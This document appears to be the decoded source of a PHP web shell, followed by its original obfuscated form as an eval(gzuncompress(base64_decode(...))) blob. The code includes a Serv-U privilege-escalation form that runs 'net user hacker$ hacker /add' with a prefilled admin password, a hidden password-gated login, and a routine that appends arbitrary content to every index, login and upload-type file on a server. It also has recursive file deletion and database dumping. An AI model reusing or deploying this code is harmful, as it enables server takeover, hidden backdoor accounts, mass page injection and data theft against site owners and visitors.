      <input name="SUUser" type="text" class="INPUT" id="SUUser" value="LocalAdministrator">       LocalPass:
      <input name="SUPass" type="text" class="INPUT" id="SUPass" value="#l@$ak#.lk;0@P">
      <br>
	  <?php
	if($job!=="adduser"){
	?>
      Command:
      <input name="SUCommand" type="text" class="INPUT" id="SUCommand" value="net user hacker$ hacker /add" size="50"> &nbsp;<a href="?action=SUExp&job=adduser">()</a> -  <a href="#" title="" onClick="alert('hacker$hackerEXPhacker\n\nsite exec \n\n')">(?)</a>
	  <input name="user" type="hidden" value="hacker$">
	  <input name="password" type="hidden" value="hacker">
	  <input name="part" type="hidden" value="C:\"> 
	  <?}
	  else{
	?>
	:
      <input name="user" type="text" class="INPUT" value="hacker$" size="20">  
	  :
      <input name="password" type="text" class="INPUT" value="hacker" size="20">  
	  :
      <input name="part" type="text" class="INPUT" value="C:\" size="20">  
	  <a href="?action=SUExp">(CMD)</a> -  <a href="#" title="" onClick="alert('')">(?)</a>
	  <input name="job" type="hidden" value="<?=$job?>"> 
	<?php
	  }
		?></td>
  </tr>
  <tr class="secondalt">
    <td align="center"><input name="Submit" type="submit" class="input" id="Submit" value="">
      <input name="Submit" type="reset" class="INPUT" value=""></td>
  </tr>  
  </form>
</table>
<?php
}
?>
<hr width="775" noshade>
<table width="775" border="0" cellpadding="0">
  <tr>
    <td><FONT color=#ff3300>:Mumaasp.com</font></td>
    <td align="right"><?php
	debuginfo();
	ob_end_flush();	
	?></td>
  </tr>
</table>
</center>
</body>
</html>

<?php

/*======================================================

======================================================*/

	// 
	function loginpage() {
	global $hidden,$alexa;
if($hidden=="44997"){
?>
<style type="text/css">
input {font-family: "Verdana";font-size: "11px";BACKGROUND-COLOR: "#FFFFFF";height: "18px";border: "1px solid #666666";}
</style>
<table width="416" border="0" align="center" cellpadding="0" cellspacing="0">
<form method="POST" action="">
  <tr> 
    <td height="75" align="center">
<span style="font-size: 11px; font-family: Verdana">: </span><input name="adminpass" type="password" size="20">
<input type="hidden" name="do" value="login">
<input type="submit" value="">
	</td>
  </tr>
  </form>
  <?php
	if($alexa!=="no"){
	?>
  </table>
  <?}
	}?>
<?php
		exit;
	}//end loginpage()

	// 
	function debuginfo() {
		global $starttime;
		$mtime = explode(' ', microtime());
		$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
		echo " $totaltime ";
	}

	// 
	function stripslashes_array(&$array) {
		while(list($key,$var) = each($array)) {
			if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
				if (is_string($var)) {
					$array[$key] = stripslashes($var);
				}
				if (is_array($var))  {
					$array[$key] = stripslashes_array($var);
				}
			}
		}
		return $array;
	}


	// 
	function deltree($deldir) {
		$mydir=@dir($deldir);	
		while($file=$mydir->read())	{ 		
			if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { 
				@chmod("$deldir/$file",0777);
				deltree("$deldir/$file"); 
			}
			if (is_file("$deldir/$file")) {
				@chmod("$deldir/$file",0777);
				@unlink("$deldir/$file");
			}
		} 
		$mydir->close(); 
		@chmod("$deldir",0777);
		return (@rmdir($deldir)) ? 1 : 0;
	} 

	// 
	function dir_writeable($dir) {
		if (!is_dir($dir)) {
			@mkdir($dir, 0777);
		}
		if(is_dir($dir)) {
			if ($fp = @fopen("$dir/test.txt", 'w')) {
				@fclose($fp);
				@unlink("$dir/test.txt");
				$writeable = 1;
			} else {
				$writeable = 0;
			}
		}
		return $writeable;
	}

	// 
	function getrowbg() {
		global $bgcounter;
		if ($bgcounter++%2==0) {
			return "firstalt";
		} else {
			return "secondalt";
		}
	}

	// 
	function getPath($mainpath, $relativepath) {
		global $dir;
		$mainpath_info           = explode('/', $mainpath);
		$relativepath_info       = explode('/', $relativepath);
		$relativepath_info_count = count($relativepath_info);
		for ($i=0; $i<$relativepath_info_count; $i++) {
			if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
			if ($relativepath_info[$i] == '..') {
				$mainpath_info_count = count($mainpath_info);
				unset($mainpath_info[$mainpath_info_count-1]);
				continue;
			}
			$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
		} //end for
		return implode('/', $mainpath_info);
	}
function dirtree($path,$mm)
 { 
	$d =@dir("$path");
	while (false !== ($entry = $d->read())) {
		if($entry == "." || $entry == "..") continue;
		$file=$d->path."/" .$entry;
		if(@is_dir($file)) 
		{
		dirtree($file,$mm);
		}
		else
		{
				if(@ereg("default\.|index\.|admin\.|bbs\.|reg\.|help\.|upfile\.|upload\.|cart\.|class\.|login\.|diy\.|no\.|ok\.|del\.|sql\.|user\.|ubb\.|ftp\.|asp\.|top\.|new\.|open\.|name\.|email\.|img\.|images\.|web\.|blog\.|save\.|data\.|add\.|edit\.|main\.|form\.|game\.|about\.|manager\.|book\.|bt\.|mp3\.|vod\.|error\.|copy\.|move\.|down\.|system\.|logo\.|QQ\.|520\.|newup\.|myup\.|play\.|show\.|view\.|ip\.|err404\.|send\.|foot\.|char\.|info\.|list\.|shop\.|err\.|nc\.|ad\.|flash\.|text\.|admin_upfile\.|admin_upload\.|upfile_load\.|upfile_soft\.|upfile_photo\.|upfile_softpic\.|vip\.|505\.|tag\.|search\.|list\.|common\.|show\.|count\.|download\.|php\.",$file)) {
				$mm=stripcslashes( trim( $mm ) );//
				$handle = @fopen ("$file", "a");
				@fwrite($handle, "$mm");
				@fclose($handle);
				echo ":$file<br>";
				}
		}
	}
	$d->close();
}
	// PHP
	function getphpcfg($varname) {
		switch($result = get_cfg_var($varname)) {
			case 0:
			return "No";
			break;
			case 1:
			return "Yes";
			break;
			default:
			return $result;
			break;
		}
	}

	// 
	function getfun($funName) {
		return (false !== function_exists($funName)) ? "Yes" : "No";
	}

	class zip //ZIP
{

 var $datasec, $ctrl_dir = array();
 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
 var $old_offset = 0; var $dirs = Array(".");
 function Add($files,$compact)
 {
  if(!is_array($files[0])) $files=Array($files);

  for($i=0;$files[$i];$i++){
    $fn = $files[$i];
    if(!in_Array(dirname($fn[0]),$this->dirs))
     $this->add_Dir(dirname($fn[0]));
    if(basename($fn[0]))
     $ret[basename($fn[0])]=$this->add_File($fn[1],$fn[0],$compact);
  }
  return $ret;
 }
function get_file()
 {
   $data = implode('', $this -> datasec);
   $ctrldir = implode('', $this -> ctrl_dir);

   return $data . $ctrldir . $this -> eof_ctrl_dir .
    pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).
    pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
 }
 function ReadCentralDir($zip,$zip_name)
 {
  $size = filesize($zip_name);
  if ($size < 277) $maximum_size = $size;
  else $maximum_size=277;
  @fseek($zip, $size-$maximum_size);
  $pos = ftell($zip); $bytes = 0x00000000;
  while ($pos < $size)
  {
    $byte = @fread($zip, 1); $bytes=($bytes << 8) | Ord($byte);
    if ($bytes == 0x504b0506){ $pos++; break; } $pos++;
  }
  $data=unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size',fread($zip,18));
  if ($data['comment_size'] != 0)
	  $centd['comment'] = fread($zip, $data['comment_size']);
  else $centd['comment'] = ''; $centd['entries'] = $data['entries'];
  $centd['disk_entries'] = $data['disk_entries'];
  $centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start'];
  $centd['size'] = $data['size'];  $centd['disk'] = $data['disk'];
  return $centd;
 }
  function ReadCentralFileHeaders($zip){
    $binary_data = fread($zip, 46);
    $header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data);
	if ($header['filename_len'] != 0)
      $header['filename'] = fread($zip,$header['filename_len']);
    else $header['filename'] = '';
	if ($header['extra_len'] != 0)
      $header['extra'] = fread($zip, $header['extra_len']);
    else $header['extra'] = '';
	if ($header['comment_len'] != 0)
      $header['comment'] = fread($zip, $header['comment_len']);
    else $header['comment'] = '';
	if ($header['mdate'] && $header['mtime'])
    {
      $hour = ($header['mtime'] & 0xF800) >> 11;
      $minute = ($header['mtime'] & 0x07E0) >> 5;
      $seconde = ($header['mtime'] & 0x001F)*2;
      $year = (($header['mdate'] & 0xFE00) >> 9) + 1980;
      $month = ($header['mdate'] & 0x01E0) >> 5;
      $day = $header['mdate'] & 0x001F;
      $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
    } else {
      $header['mtime'] = time();
    }
    $header['stored_filename'] = $header['filename'];
    $header['status'] = 'ok';
    if (substr($header['filename'], -1) == '/')
      $header['external'] = 0x41FF0010;
    return $header;
 }
 function add_dir($name) 
 { 
   $name = str_replace("\\", "/", $name); 
   $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
   $fr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); 
   $fr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); 
   $this -> datasec[] = $fr;
   $new_offset = strlen(implode("", $this->datasec)); 
   $cdrec = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
   $cdrec .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); 
   $cdrec .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); 
   $ext = "\xff\xff\xff\xff"; 
   $cdrec .= pack("V", 16 ).pack("V", $this -> old_offset ).$name;
   $this -> ctrl_dir[] = $cdrec; 
   $this -> old_offset = $new_offset; 
   $this -> dirs[] = $name;
 }
 function get_List($zip_name)
 {
   $zip = @fopen($zip_name, 'rb');
   if(!$zip) return(0);
   $centd = $this->ReadCentralDir($zip,$zip_name);
   @rewind($zip);
    @fseek($zip, $centd['offset']);
	for ($i=0; $i<$centd['entries']; $i++)
   {
    $header = $this->ReadCentralFileHeaders($zip);
    $header['index'] = $i;$info['filename'] = $header['filename'];
    $info['stored_filename'] = $header['stored_filename'];
    $info['size'] = $header['size'];$info['compressed_size']=$header['compressed_size'];
    $info['crc'] = strtoupper(dechex( $header['crc'] ));
    $info['mtime'] = $header['mtime']; $info['comment'] = $header['comment'];
    $info['folder'] = ($header['external']==0x41FF0010||$header['external']==16)?1:0;
    $info['index'] = $header['index'];$info['status'] = $header['status'];
    $ret[]=$info; unset($header);
   }
  return $ret;
 }
function add_File($data, $name, $compact = 1)
 {
   $name     = str_replace('\\', '/', $name);
   $dtime    = dechex($this->DosTime());
   $hexdtime = '\x' . $dtime[6] . $dtime[7].'\x'.$dtime[4] . $dtime[5]
     . '\x' . $dtime[2] . $dtime[3].'\x'.$dtime[0].$dtime[1];
   eval('$hexdtime = "' . $hexdtime . '";');
   if($compact)
   $fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime;
   else $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00".$hexdtime;
   $unc_len = strlen($data); $crc = crc32($data);
   if($compact){
     $zdata = gzcompress($data); $c_len = strlen($zdata);
     $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
   }else{
     $zdata = $data;
   }
   $c_len=strlen($zdata);
   $fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
   $fr .= pack('v', strlen($name)).pack('v', 0).$name.$zdata;
   $fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
   $this -> datasec[] = $fr;
   $new_offset        = strlen(implode('', $this->datasec));
   if($compact)
        $cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00";
   else $cdrec = "\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00";
   $cdrec .= $hexdtime.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
   $cdrec .= pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 );
   $cdrec .= pack('v', 0 ).pack('v', 0 ).pack('V', 32 );
   $cdrec .= pack('V', $this -> old_offset );
   $this -> old_offset = $new_offset;
   $cdrec .= $name;
   $this -> ctrl_dir[] = $cdrec;
   return true;
 }

 function DosTime() {
   $timearray = getdate();
   if ($timearray['year'] < 1980) {
     $timearray['year'] = 1980; $timearray['mon'] = 1;
     $timearray['mday'] = 1; $timearray['hours'] = 0;
     $timearray['minutes'] = 0; $timearray['seconds'] = 0;
   }
   return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) |     ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | 
    ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
 }
  function Extract ( $zn, $to, $index = Array(-1) )
 {
   $ok = 0; $zip = @fopen($zn,'rb');
   if(!$zip) return(-1);
   $cdir = $this->ReadCentralDir($zip,$zn);
   $pos_entry = $cdir['offset'];

   if(!is_array($index)){ $index = array($index);  }
   for($i=0; $index[$i];$i++){
     if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries'])
      return(-1);
   }

   for ($i=0; $i<$cdir['entries']; $i++)
   {
     @fseek($zip, $pos_entry);
     $header = $this->ReadCentralFileHeaders($zip);
     $header['index'] = $i; $pos_entry = ftell($zip);
     @rewind($zip); fseek($zip, $header['offset']);
     if(in_array("-1",$index)||in_array($i,$index))
      $stat[$header['filename']]=$this->ExtractFile($header, $to, $zip);
      
   }
   fclose($zip);
   return $stat;
 }
 function ExtractFile($header,$to,$zip)
 {
   $header = $this->readfileheader($zip);

   if(substr($to,-1)!="/") $to.="/";
   if(!@is_dir($to)) @mkdir($to,0777);

   $pth = explode("/",dirname($header['filename']));
   for($i=0;isset($pth[$i]);$i++){
     if(!$pth[$i]) continue;$pthss.=$pth[$i]."/";
     if(!is_dir($to.$pthss)) @mkdir($to.$pthss,0777);
   }
  if (!($header['external']==0x41FF0010)&&!($header['external']==16))
  {
   if ($header['compression']==0)
   {
    $fp = @fopen($to.$header['filename'], 'wb');
    if(!$fp) return(-1);
    $size = $header['compressed_size'];

    while ($size != 0)
    {
      $read_size = ($size < 2048 ? $size : 2048);
      $buffer = fread($zip, $read_size);
      $binary_data = pack('a'.$read_size, $buffer);
      @fwrite($fp, $binary_data, $read_size);
      $size -= $read_size;
    }
    fclose($fp);
    touch($to.$header['filename'], $header['mtime']);

  }else{
   $fp = @fopen($to.$header['filename'].'.gz','wb');
   if(!$fp) return(-1);
   $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
     Chr(0x00), time(), Chr(0x00), Chr(3));

   fwrite($fp, $binary_data, 10);
   $size = $header['compressed_size'];

   while ($size != 0)
   {
     $read_size = ($size < 1024 ? $size : 1024);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
   }

   $binary_data = pack('VV', $header['crc'], $header['size']);
   fwrite($fp, $binary_data,8); fclose($fp);

   $gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compresse");
    if(!$gzp) return(-2);
   $fp = @fopen($to.$header['filename'],'wb');
   if(!$fp) return(-1);
   $size = $header['size'];

   while ($size != 0)
   {
     $read_size = ($size < 2048 ? $size : 2048);
     $buffer = gzread($gzp, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
   }
   fclose($fp); gzclose($gzp);

   touch($to.$header['filename'], $header['mtime']);
   @unlink($to.$header['filename'].'.gz');

  }}
  return true;
 }
   function ReadFileHeader($zip)
  { 
    $binary_data = fread($zip, 30);
    $data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data);

    $header['filename'] = fread($zip, $data['filename_len']);
    if ($data['extra_len'] != 0) {
      $header['extra'] = fread($zip, $data['extra_len']);
    } else { $header['extra'] = ''; }

    $header['compression'] = $data['compression'];$header['size'] = $data['size'];
    $header['compressed_size'] = $data['compressed_size'];
    $header['crc'] = $data['crc']; $header['flag'] = $data['flag'];
    $header['mdate'] = $data['mdate'];$header['mtime'] = $data['mtime'];

    if ($header['mdate'] && $header['mtime']){
     $hour=($header['mtime']&0xF800)>>11;$minute=($header['mtime']&0x07E0)>>5;
     $seconde=($header['mtime']&0x001F)*2;$year=(($header['mdate']&0xFE00)>>9)+1980;
     $month=($header['mdate']&0x01E0)>>5;$day=$header['mdate']&0x001F;
     $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
    }else{$header['mtime'] = time();}

    $header['stored_filename'] = $header['filename'];
    $header['status'] = "ok";
    return $header;
  }
}

function addziparray($dir2) //ZIP
{
	global $dir,$zipfilearray;
	@$dirs=opendir($dir."/".$dir2);
	while (@$file=readdir($dirs)) { 
		if(!is_dir("$dir/$dir2/$file")) {
			$zipfilearray[]="$dir2/$file";
		}
		elseif($file!="."&&$file!="..") {
			addziparray("$dir2/$file");
		}
	}
	@closedir($dirs);
}
function hlinK($str=""){
$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
$ret=$_SERVER['PHP_SELF']."?";
$new=explode("&",$str);
foreach ($_GET as $key => $v){
$add=1;
foreach($new as $m){
$el = explode("=", $m);
if ($el[0]==$key)$add=0;
}
if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
}
$ret.=$str;
return $ret;
}

	// 
	function sqldumptable($table, $fp=0) {
		$tabledump = "DROP TABLE IF EXISTS $table;\n";
		$tabledump .= "CREATE TABLE $table (\n";

		$firstfield=1;

		$fields = mysql_query("SHOW FIELDS FROM $table");
		while ($field = mysql_fetch_array($fields)) {
			if (!$firstfield) {
				$tabledump .= ",\n";
			} else {
				$firstfield=0;
			}
			$tabledump .= "   $field[Field] $field[Type]";
			if (!empty($field["Default"])) {
				$tabledump .= " DEFAULT '$field[Default]'";
			}
			if ($field['Null'] != "YES") {
				$tabledump .= " NOT NULL";
			}
			if ($field['Extra'] != "") {
				$tabledump .= " $field[Extra]";
			}
		}
		mysql_free_result($fields);
	
		$keys = mysql_query("SHOW KEYS FROM $table");
		while ($key = mysql_fetch_array($keys)) {
			$kname=$key['Key_name'];
			if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
				$kname="UNIQUE|$kname";
			}
			if(!is_array($index[$kname])) {
				$index[$kname] = array();
			}
			$index[$kname][] = $key['Column_name'];
		}
		mysql_free_result($keys);

		while(list($kname, $columns) = @each($index)) {
			$tabledump .= ",\n";
			$colnames=implode($columns,",");

			if ($kname == "PRIMARY") {
				$tabledump .= "   PRIMARY KEY ($colnames)";
			} else {
				if (substr($kname,0,6) == "UNIQUE") {
					$kname=substr($kname,7);
				}
				$tabledump .= "   KEY $kname ($colnames)";
			}
		}

		$tabledump .= "\n);\n\n";
		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}

		$rows = mysql_query("SELECT * FROM $table");
		$numfields = mysql_num_fields($rows);
		while ($row = mysql_fetch_array($rows)) {
			$tabledump = "INSERT INTO $table VALUES(";

			$fieldcounter=-1;
			$firstfield=1;
			while (++$fieldcounter<$numfields) {
				if (!$firstfield) {
					$tabledump.=", ";
				} else {
					$firstfield=0;
				}

				if (!isset($row[$fieldcounter])) {
					$tabledump .= "NULL";
				} else {
					$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
				}
			}

			$tabledump .= ");\n";

			if ($fp) {
				fwrite($fp,$tabledump);
			} else {
				echo $tabledump;
			}
		}
		mysql_free_result($rows);
	}

	class FORMS {
		function tableheader() {
			echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n";
		}

		function headerform($arg=array()) {
			global $dir;
			if ($arg[enctype]){
				$enctype="enctype=\"$arg[enctype]\"";
			} else {
				$enctype="";
			}
			if (!isset($arg[method])) {
				$arg[method] = "POST";
			}
			if (!isset($arg[action])) {
				$arg[action] = '';
			}
			echo "  <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n";
			echo "  <tr>\n";
			echo "    <td>".$arg[content]."</td>\n";
			echo "  </tr>\n";
			echo "  </form>\n";
		}

		function tdheader($title) {
			global $dir;
			echo "  <tr class=\"firstalt\">\n";
			echo "	<td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"></a>]</b></td>\n";
			echo "  </tr>\n";
		}

		function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') {
			if ($bgcolor=='2') {
				$css="secondalt";
			} elseif ($bgcolor=='1') {
				$css="firstalt";
			} else {
				$css=$bgcolor;
			}
			$height = empty($height) ? "" : " height=".$height;
			$colspan = empty($colspan) ? "" : " colspan=".$colspan;
			echo "  <tr class=\"".$css."\">\n";
			echo "	<td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n";
			echo "  </tr>\n";
		}

		function tablefooter() {
			echo "</table>\n";
		}

		function formheader($action='',$title,$target='') {
			global $dir;
			$target = empty($target) ? "" : " target=\"".$target."\"";
			echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
			echo "  <tr class=\"firstalt\">\n";
			echo "	<td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"></a>]</b></td>\n";
			echo "  </tr>\n";
		}

		function makehidden($name,$value=''){
			echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
		}

		function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){
			$css = ($css == 'input') ? " class=\"input\"" : "";
			$input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n";
			return $input;
		}

		function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){
			$textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n";
			return $textarea;
		}

		function formfooter($over='',$height=''){
			$height = empty($height) ? "" : " height=\"".$height."\"";
			echo "  <tr class=\"secondalt\">\n";
			echo "	<td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value=\"\"></td>\n";
			echo "  </tr>\n";
			echo " </form>\n";
			echo $end = empty($over) ? "" : "</table>\n";
		}

		function makeselect($arg = array()){
			if ($arg[multiple]==1) {
				$multiple = " multiple";
				if ($arg[size]>0) {
					$size = "size=$arg[size]";
				}
			}
			if ($arg[css]==0) {
				$css = "class=\"input\"";
			}
			$select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
				if (is_array($arg[option])) {
					foreach ($arg[option] AS $key=>$value) {
						if (!is_array($arg[selected])) {
							if ($arg[selected]==$key) {
								$select .= "<option value=\"$key\" selected>$value</option>\n";
							} else {
								$select .= "<option value=\"$key\">$value</option>\n";
							}

						} elseif (is_array($arg[selected])) {
							if ($arg[selected][$key]==1) {
								$select .= "<option value=\"$key\" selected>$value</option>\n";
							} else {
								$select .= "<option value=\"$key\">$value</option>\n";
							}
						}
					}
				}
			$select .= "</select>\n";
			return $select;
		}
	}
	
	function find($path) // 
{ 
	global $oldkey,$type,$type2,$endline,$beline; 
	if(is_dir("$path")){ 
	$tempdir=opendir("$path");
	while($f=readdir($tempdir)){ if($f=="."||$f=="..")continue;  find("$path/$f");}
	closedir($tempdir);
	}else{ 
	if(filesize("$path")){ 
	$fp=fopen("$path","r"); 
	$msg=fread($fp, filesize("$path"));
	fclose($fp); 
if(strpos($msg, $oldkey) !== false) {
	$dir = dirname($path);
	$file = basename($path);
if($type=="list"){
	$mymsg = explode("\n",$msg);
	$long = count($mymsg);
	$tmp = explode($oldkey,$msg);
	$tmp = explode("\n",$tmp[0]);
	$first = count($tmp);
	$end = "[".$first."/".$long."]";
}
if($type2=="getpath"){
	$get = explode($oldkey,$msg);
	$get = strlen($get[0]);
	if(isset($beline)){
	$get = $get-$beline;
	}
	$getpath = htmlspecialchars(substr($msg, $get, $endline)); 
	$getpath = "title = \"".$getpath."\"";
}
echo "<span class=\"redfont\" $getpath>:$dir/$file</span> |<a href=\"?action=editfile&dir=$dir&editfile=$file\" target=\"_blank\">view+edit</a> | $end <br>";
}
                              } 
                         }                    
} 

Did this file decode correctly?

Original Code

eval(gzuncompress(base64_decode("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